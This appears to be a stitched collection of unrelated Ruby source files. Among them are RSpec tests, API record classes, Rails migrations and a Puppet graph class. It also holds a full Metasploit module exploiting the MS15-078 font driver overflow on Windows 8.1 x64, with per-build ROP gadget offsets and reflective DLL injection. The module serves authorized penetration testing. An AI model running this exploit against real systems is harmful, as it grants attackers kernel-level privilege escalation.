persisted object" do before :each do @hive = Hive.new :bee_census => 1_000_000 @hive.save! @diff = MP::Addressable::Diff.new @hive end it "knows the object is persisted" do expect(@diff.persisted?).to be true end it "knows that the local key hasn't changed" do expect(@diff.changed?('bee_census')).to be false end it "knows a non-existant property hasn't changed" do expect(@diff.changed?('oogabooga')).to be false end it "knows that existant, but unset assocaitions haven't changed" do expect(@diff.changed?('queen')).to be false end it "can detect a change in the first-level key" do @hive.bee_census = 2_000_000 @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('bee_census')).to be true end it "can detect a newly set embedded association" do @hive.queen = Queen.new @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('queen')).to be true end it "sees a nil on a new association as the same as an absent association" do @hive.queen = Queen.new @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('queen.weight')).to be false end it "can detect a new value in a newly-added assocaition" do @hive.queen = Queen.new :weight => '2g' @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('queen.weight')).to be true end it "knows an inner property hasn't changed if it hasn't" do @hive.queen = Queen.new :weight => '2g' @hive.save! @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('queen.weight')).to be false end it "knows a value hasn't changed, even if the association was replaced" do @hive.queen = Queen.new :weight => '2g' @hive.save! original_id = @hive.queen.id @hive.queen = Queen.new :weight => '2g' new_id = @hive.queen.id @diff = MP::Addressable::Diff.new @hive expect(@diff.changed?('queen.weight')).to be false expect(original_id).to_not eq(new_id) end end end # END
28.014286
81
0.63794
387667bd4a4fa12a00471a5a369b65f7136f6c21
888
# frozen_string_literal: true require 'gecko/record/base' module Gecko module Record class PurchaseOrderLineItem < Base belongs_to :purchase_order, writeable_on: :create belongs_to :variant, writeable_on: :create belongs_to :procurement belongs_to :tax_type attribute :quantity, BigDecimal attribute :position, Integer attribute :tax_rate_override, BigDecimal attribute :price, BigDecimal attribute :label, String attribute :freeform, Boolean attribute :base_price, BigDecimal, readonly: true attribute :extra_cost_value, BigDecimal, readonly: true attribute :image_url, String, readonly: true # DEPRECATED # attribute :tax_rate, String end class PurchaseOrderLineItemAdapter < BaseAdapter end end end
28.645161
62
0.657658
bb68c17e8240b34f07ca205a9b1f2897f879972b
16,738
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking WIN32K_VERSIONS = [ '6.3.9600.17393', '6.3.9600.17630', '6.3.9600.17694', '6.3.9600.17796', '6.3.9600.17837', '6.3.9600.17915' ] NT_VERSIONS = [ '6.3.9600.17415', '6.3.9600.17630', '6.3.9600.17668', '6.3.9600.17936' ] include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed in the July data leak. This module has been tested successfully on vulnerable builds of Windows 8.1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eugene Ching', # vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis 'juan vazquez' # msf module ], 'Arch' => ARCH_X64, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 8.1 x64', { } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-2426'], ['CVE', '2015-2433'], ['MSB', 'MS15-078'], ['MSB', 'MS15-080'], ['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480'] ], 'DisclosureDate' => '2015-07-11', 'DefaultTarget' => 0 })) end def patch_win32k_offsets(dll) @win32k_offsets.each do |k, v| case k when 'info_leak' dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) when 'pop_rax_ret' dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp' dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) when 'allocate_pool' dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) when 'pop_rcx_ret' dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) when 'deref_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) when 'mov_rax_into_rcx' dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) when 'pop_rbx_ret' dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) when 'ret' dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) when 'mov_rax_r11_ret' dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) when 'add_rax_rcx_ret' dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) when 'pop_rsp_ret' dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) when 'xchg_rax_rsp_adjust' dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) when 'chwnd_delete' dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) end end end def set_win32k_offsets @win32k_offsets ||= Proc.new do |version| case version when '6.3.9600.17393' { 'info_leak' => 0x3cf00, 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x6e314, # ret C3 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete } when '6.3.9600.17630' { 'info_leak' => 0x3d200, 'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete } when '6.3.9600.17694' { 'info_leak' => 0x3d300, 'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3 'ret' => 0x6683, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete } when '6.3.9600.17796' { 'info_leak' => 0x3d000, 'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3 'ret' => 0x1B21, # ret C3 'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete } when '6.3.9600.17837' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 'ret' => 0x14dc, # ret C3 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete } when '6.3.9600.17915' { 'info_leak' => 0x3d800, 'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3 'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag 'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3 'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3 'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3 'ret' => 0x14DC, # ret # C3 'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3 'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3 'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3 'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3 'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete } else nil end end.call(@win32k) end def patch_nt_offsets(dll) @nt_offsets.each do |k, v| case k when 'set_cr4' dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) when 'allocate_pool_with_tag' dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) end end end def set_nt_offsets @nt_offsets ||= Proc.new do |version| case version when '6.3.9600.17415' { 'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag } when '6.3.9600.17630' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17668' { 'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag } when '6.3.9600.17936' { 'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3 'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag } else nil end end.call(@ntoskrnl) end def atmfd_version file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("atmfd.dll file version: #{ver} branch: #{branch}") ver end def win32k_version file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("win32k.sys file version: #{ver} branch: #{branch}") ver end def ntoskrnl_version file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe' major, minor, build, revision, branch = file_version(file_path) return nil if major.nil? ver = "#{major}.#{minor}.#{build}.#{revision}" vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}") ver end def check # We have tested only windows 8.1 if sysinfo['OS'] !~ /Windows 8/i return Exploit::CheckCode::Unknown end # We have tested only 64 bits if sysinfo['Architecture'] !~ /(wow|x)64/i return Exploit::CheckCode::Unknown end atmfd = atmfd_version # atmfd 5.1.2.238 => Works unless atmfd && Rex::Version.new(atmfd) <= Rex::Version.new('5.1.2.243') return Exploit::CheckCode::Safe end # win32k.sys 6.3.9600.17393 => Works @win32k = win32k_version unless @win32k && WIN32K_VERSIONS.include?(@win32k) return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works @ntoskrnl = ntoskrnl_version unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl) return Exploit::CheckCode::Unknown end Exploit::CheckCode::Appears end def exploit print_status('Checking target...') if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Target not vulnerable') end if check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if check_result == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k') end unless session.arch == ARCH_X64 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...") set_win32k_offsets fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? set_nt_offsets fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil? begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll') library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") dll = '' ::File.open(library_path, 'rb') { |f| dll = f.read } patch_win32k_offsets(dll) patch_nt_offsets(dll) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end
42.590331
178
0.567272
186326f6a0948256b62af2f507265fa5d689acf3
1,535
require "simplecov" SimpleCov.start "rails" # This file is copied to spec/ when you run 'rails generate rspec:install' ENV["RACK_ENV"] = ENV["RAILS_ENV"] ||= "test" ENV["GOVUK_APP_DOMAIN"] ||= "dev.gov.uk" require File.expand_path("../config/environment", __dir__) require "rspec/rails" # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. Dir[Rails.root.join("spec/support/**/*.rb")].sort.each { |f| require f } RSpec.configure do |config| # ## Mock Framework # # If you prefer to use mocha, flexmock or RR, uncomment the appropriate line: # # config.mock_with :mocha # config.mock_with :flexmock # config.mock_with :rr # Remove this line if you're not using ActiveRecord or ActiveRecord fixtures # config.fixture_path = "#{::Rails.root}/spec/fixtures" # If you're not using ActiveRecord, or you'd prefer not to run each of your # examples within a transaction, remove the following line or assign false # instead of true. # config.use_transactional_fixtures = true # If true, the base class of anonymous controllers will be inferred # automatically. This will be the default behavior in future versions of # rspec-rails. config.infer_base_class_for_anonymous_controllers = false # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = "random" end
35.697674
79
0.731596
bfc926ff3277c6972990d88c5b9c83513fd51cf3
2,669
require File.expand_path(File.dirname(__FILE__) + '/../spec_helper') describe Post do context 'with slug' do subject { build :post_with_slug } its(:link) { should eq('/welcome-lokka') } context 'when permalink is enabled' do before do Option.permalink_format = "/%year%/%month%/%day%/%slug%" Option.permalink_enabled = true end its(:link) { should eq('/2011/01/09/welcome-lokka') } end context 'when parmalink_format is set but disabled' do before do Option.permalink_format = "/%year%/%month%/%day%/%slug%" Option.permalink_enabled = false end its(:link) { should eq('/welcome-lokka') } end context 'when a valid slug is specified' do subject { build :post, :slug => 'valid_Str-ing1' } it { should be_valid } end context 'when an invalid slug is specified' do subject { build :post, :slug => 'invalid string' } it 'should be invalid or created with a different name' do (!subject.valid? || subject.slug != 'invalid string').should be_true end end end context "with id 1" do subject { build :post, :id => 1 } its(:edit_link) { should eq('/admin/posts/1/edit') } end context 'markup' do [:kramdown, :redcloth, :wikicloth].each do |markup| describe "a post using #{markup}" do let(:post) { Factory(markup) } it { post.body.should_not == post.raw_body } it { post.body.tr("\n", "").should match(%r$<h1.*>(<a name.+</a><span .+>)*hi!(</span>)*</h1>\s*<p>#{markup} test</p>$) } end end context 'default' do let(:post) { build :post } it { post.body.should == post.raw_body } end end context "previous or next" do let!(:before) { create :xmas_post } let!(:after) { create :newyear_post } it "should return previous page instance" do after.prev.should == before after.prev.created_at.should < after.created_at end it "should return next page instance" do before.next.should == after before.next.created_at.should > before.created_at end describe "the latest article" do subject { after } its(:next) { should be_nil } end describe "the first article" do subject { before } its(:prev) { should be_nil } end end describe '.first' do before { build :post } it { expect { Post.first }.not_to raise_error } end describe "#tag_collection=" do let(:entry) { create(:entry) } before { entry.tag_collection = "foo,bar" } it "should update tags" do expect { entry.save }.to change { entry.tags } end end end
27.234694
129
0.607718
1a93358d5c9c724430b867797f000836c594a395
257
class AddGradeSpanExpectationIdToInvestigations < ActiveRecord::Migration[5.1] def self.up add_column :investigations, :grade_span_expectation_id, :integer end def self.down remove_column :investigations, :grade_span_expectation_id end end
25.7
78
0.801556
d5d980a9ac0589d1fc04ba626cd0e0457deb3be1
1,751
require File.dirname(__FILE__) + '/spec_helper.rb' include RR describe TypeCastingCursor do before(:each) do Initializer.configuration = standard_config end it "initialize should cache the provided cursor and the retrieved Column objects" do cursor = TypeCastingCursor.new Session.new.left, 'extender_type_check', :dummy_org_cursor cursor.columns['id'].name.should == 'id' cursor.columns['decimal_test'].name.should == 'decimal_test' cursor.org_cursor.should == :dummy_org_cursor end it "next_row should delegate next? and clear to the original cursor" do session = Session.new cursor = session.left.select_cursor( :query => "select id from extender_type_check where id = 1", :table => "extender_type_check" ) cursor.next?.should be_true row = cursor.next_row cursor.next?.should be_false cursor.clear end it "next_row should cast rows - including uncommon data types - correctly" do session = Session.new row = session.left.select_record( :query => "select id, decimal_test, timestamp, binary_test from extender_type_check where id = 1", :table => "extender_type_check" ) # verify that the row fields have been converted to the correct types row['id'].should be_an_instance_of(Fixnum) row['timestamp'].should be_an_instance_of(Time) row['decimal_test'].should be_an_instance_of(BigDecimal) row['binary_test'].should be_an_instance_of(String) # verify that the row values were converted correctly row.should == { 'id' => 1, 'decimal_test' => BigDecimal.new("1.234"), 'timestamp' => Time.local(2007,"nov",10,20,15,1), 'binary_test' => Marshal.dump(['bla',:dummy,1,2,3]) } end end
34.333333
104
0.696745
7ababfc390287eb2d883039adacfbf6990f67e0c
1,097
module Clubhouse class Epic < BaseResource resource :epics attributes :archived, :created_at, :deadline, :description, :external_id, :follower_ids, :name, :owner_ids, :state, :updated_at, readonly: [:id, :comments, :position] attributes_for_create :created_at, :deadline, :description, :external_id, :follower_ids, :name, :owner_ids, :state, :updated_at attributes_for_update :after_id, :archived, :before_id, :deadline, :description, :follower_ids, :name, :owner_ids, :state def comments @_comments ||= Array(@comments).collect{|c| Comment.new.update_object_from_payload(c) } end class Comment < BaseResource attributes :text, readonly: [:author_id, :created_at, :updated_at, :deleted, :id, :comments] def comments @_comments ||= Array(@comments).collect {|c| Comment.new.update_object_from_payload(c) } end def save raise NotImplemented end def self.find(id = nil) raise NotImplemented end def self.all raise NotImplemented end end end end
28.128205
98
0.666363
d548272414ad44380fe563bbcc802204e1a628d4
2,361
module Extract module Tree module Math def get_math_exp if respond_to?(:math_exp) math_exp elsif respond_to?(:math_exp_full) math_exp_full elsif respond_to?(:num) num elsif respond_to?(:primary) primary else nil end end def excel_value return eval raise 'foo' unless get_math_exp str = %w(math_exp naked_exp cell).map { |x| "#{x} #{respond_to?(x)}" }.join(", ") #raise str + "\n" + inspect #raise (methods - 7.methods).inspect + "\n" + inspect end res = 0 #res = math_exp.excel_value if respond_to?(:math_exp) rest.elements.each do |e| #arg = e.elements[1] #res += arg.excel_value #res += end res end def deps(start=self) res = [] #res << get_math_exp.deps return [] unless start.elements start.elements.each do |e| #arg = e.elements[1] if e.respond_to?(:deps) res << e.deps else res << deps(e) end end res.flatten.select { |x| x } end def tokens(start=self) if start.respond_to?("paren?") res = start.math_exp.eval return [OpenStruct.new(:text_value => res.to_s)] #return [start.exp.eval] end #puts "parsing #{start.text_value} #{start.class}" res = [] return res unless start.elements start.elements.each do |el| if el.respond_to?(:tt) t = el.tt if t == :num res << el elsif t == :operator res << el elsif t == :cell res << el elsif t == :formula res << el elsif t == :math res += el.tokens else raise "unknown" end else res += tokens(el) end end res end def eval #puts "evaling #{text_value}" #raise tokens.map { |x| x.text_value }.inspect + "\n" + inspect MathCalc.parse_eval(tokens) end end module ParenMath include Math def paren? true end end end end
22.273585
91
0.466328
bf01129c06284a2ad3879306422f28af4e0663d3
210
module Ordering class OrderSubmitted < Infra::Event attribute :order_id, Infra::Types::UUID attribute :order_number, Infra::Types::OrderNumber attribute :customer_id, Infra::Types::UUID end end
26.25
54
0.742857
3379c347d2cbd83431aa511beb464ae83d81e74b
248
File.readlines('./data/contacts.csv').each do |line| email, mobile = line.split ',' employee_name = email.split('@').first filename = "./data/contacts/#{employee_name}.txt" puts "#{filename} #{mobile}" File.write(filename, mobile) end
22.545455
52
0.669355
089e0104194f1f527d295d902c309feb5fd518a8
1,746
class CreateSupervisorReports < ActiveRecord::Migration[5.1] def change create_table :supervisor_reports do |t| t.integer :incident_id t.integer :user_id # t.text :witnesses TODO t.boolean :hard_drive_pulled t.datetime :hard_drive_pulled_at t.string :hard_drive_removed t.string :hard_drive_replaced t.boolean :pictures_saved t.integer :saved_pictures t.text :passenger_statement t.text :description t.datetime :faxed t.boolean :completed_drug_or_alcohol_test t.string :reason_test_completed # post-accident or reasonable suspicion t.string :testing_facility t.datetime :testing_facility_notified_at t.datetime :employee_notified_of_test_at t.datetime :employee_departed_to_test_at t.datetime :employee_arrived_at_test_at t.datetime :test_started_at t.datetime :test_ended_at t.datetime :employee_returned_at t.datetime :superintendent_notified_at t.datetime :program_manager_notified_at t.datetime :director_notified_at t.text :amplifying_comments t.boolean :test_due_to_bodily_injury t.boolean :test_due_to_disabling_damage t.boolean :test_due_to_fatality t.boolean :test_not_conducted t.boolean :completed_drug_test t.boolean :completed_alcohol_test t.datetime :observation_made_at t.boolean :test_due_to_employee_appearance t.string :employee_appearance t.boolean :test_due_to_employee_behavior t.string :employee_behavior t.boolean :test_due_to_employee_speech t.string :employee_speech t.boolean :test_due_to_employee_odor t.string :employee_odor t.timestamps end end end
32.943396
77
0.733104
b944451cbde36dc996c3de5d6f3abf8638654948
17,507
require 'puppet/external/dot' require 'puppet/relationship' require 'set' # A hopefully-faster graph class to replace the use of GRATR. class Puppet::Graph::SimpleGraph include Puppet::Util::PsychSupport # # All public methods of this class must maintain (assume ^ ensure) the following invariants, where "=~=" means # equiv. up to order: # # @in_to.keys =~= @out_to.keys =~= all vertices # @in_to.values.collect { |x| x.values }.flatten =~= @out_from.values.collect { |x| x.values }.flatten =~= all edges # @in_to[v1][v2] =~= @out_from[v2][v1] =~= all edges from v1 to v2 # @in_to [v].keys =~= vertices with edges leading to v # @out_from[v].keys =~= vertices with edges leading from v # no operation may shed reference loops (for gc) # recursive operation must scale with the depth of the spanning trees, or better (e.g. no recursion over the set # of all vertices, etc.) # # This class is intended to be used with DAGs. However, if the # graph has a cycle, it will not cause non-termination of any of the # algorithms. # def initialize @in_to = {} @out_from = {} @upstream_from = {} @downstream_from = {} end # Clear our graph. def clear @in_to.clear @out_from.clear @upstream_from.clear @downstream_from.clear end # Which resources depend upon the given resource. def dependencies(resource) vertex?(resource) ? upstream_from_vertex(resource).keys : [] end def dependents(resource) vertex?(resource) ? downstream_from_vertex(resource).keys : [] end # Whether our graph is directed. Always true. Used to produce dot files. def directed? true end # Determine all of the leaf nodes below a given vertex. def leaves(vertex, direction = :out) tree_from_vertex(vertex, direction).keys.find_all { |c| adjacent(c, :direction => direction).empty? } end # Collect all of the edges that the passed events match. Returns # an array of edges. def matching_edges(event, base = nil) source = base || event.resource unless vertex?(source) Puppet.warning _("Got an event from invalid vertex %{source}") % { source: source.ref } return [] end # Get all of the edges that this vertex should forward events # to, which is the same thing as saying all edges directly below # This vertex in the graph. @out_from[source].values.flatten.find_all { |edge| edge.match?(event.name) } end # Return a reversed version of this graph. def reversal result = self.class.new vertices.each { |vertex| result.add_vertex(vertex) } edges.each do |edge| result.add_edge edge.class.new(edge.target, edge.source, edge.label) end result end # Return the size of the graph. def size vertices.size end def to_a vertices end # This is a simple implementation of Tarjan's algorithm to find strongly # connected components in the graph; this is a fairly ugly implementation, # because I can't just decorate the vertices themselves. # # This method has an unhealthy relationship with the find_cycles_in_graph # method below, which contains the knowledge of how the state object is # maintained. def tarjan(root, s) # initialize the recursion stack we use to work around the nasty lack of a # decent Ruby stack. recur = [{ :node => root }] while not recur.empty? do frame = recur.last vertex = frame[:node] case frame[:step] when nil then s[:index][vertex] = s[:number] s[:lowlink][vertex] = s[:number] s[:number] = s[:number] + 1 s[:stack].push(vertex) s[:seen][vertex] = true frame[:children] = adjacent(vertex) frame[:step] = :children when :children then if frame[:children].length > 0 then child = frame[:children].shift if ! s[:index][child] then # Never seen, need to recurse. frame[:step] = :after_recursion frame[:child] = child recur.push({ :node => child }) elsif s[:seen][child] then s[:lowlink][vertex] = [s[:lowlink][vertex], s[:index][child]].min end else if s[:lowlink][vertex] == s[:index][vertex] then this_scc = [] begin top = s[:stack].pop s[:seen][top] = false this_scc << top end until top == vertex s[:scc] << this_scc end recur.pop # done with this node, finally. end when :after_recursion then s[:lowlink][vertex] = [s[:lowlink][vertex], s[:lowlink][frame[:child]]].min frame[:step] = :children else fail "#{frame[:step]} is an unknown step" end end end # Find all cycles in the graph by detecting all the strongly connected # components, then eliminating everything with a size of one as # uninteresting - which it is, because it can't be a cycle. :) # # This has an unhealthy relationship with the 'tarjan' method above, which # it uses to implement the detection of strongly connected components. def find_cycles_in_graph state = { :number => 0, :index => {}, :lowlink => {}, :scc => [], :stack => [], :seen => {} } # we usually have a disconnected graph, must walk all possible roots vertices.each do |vertex| if ! state[:index][vertex] then tarjan vertex, state end end # To provide consistent results to the user, given that a hash is never # assured to return the same order, and given our graph processing is # based on hash 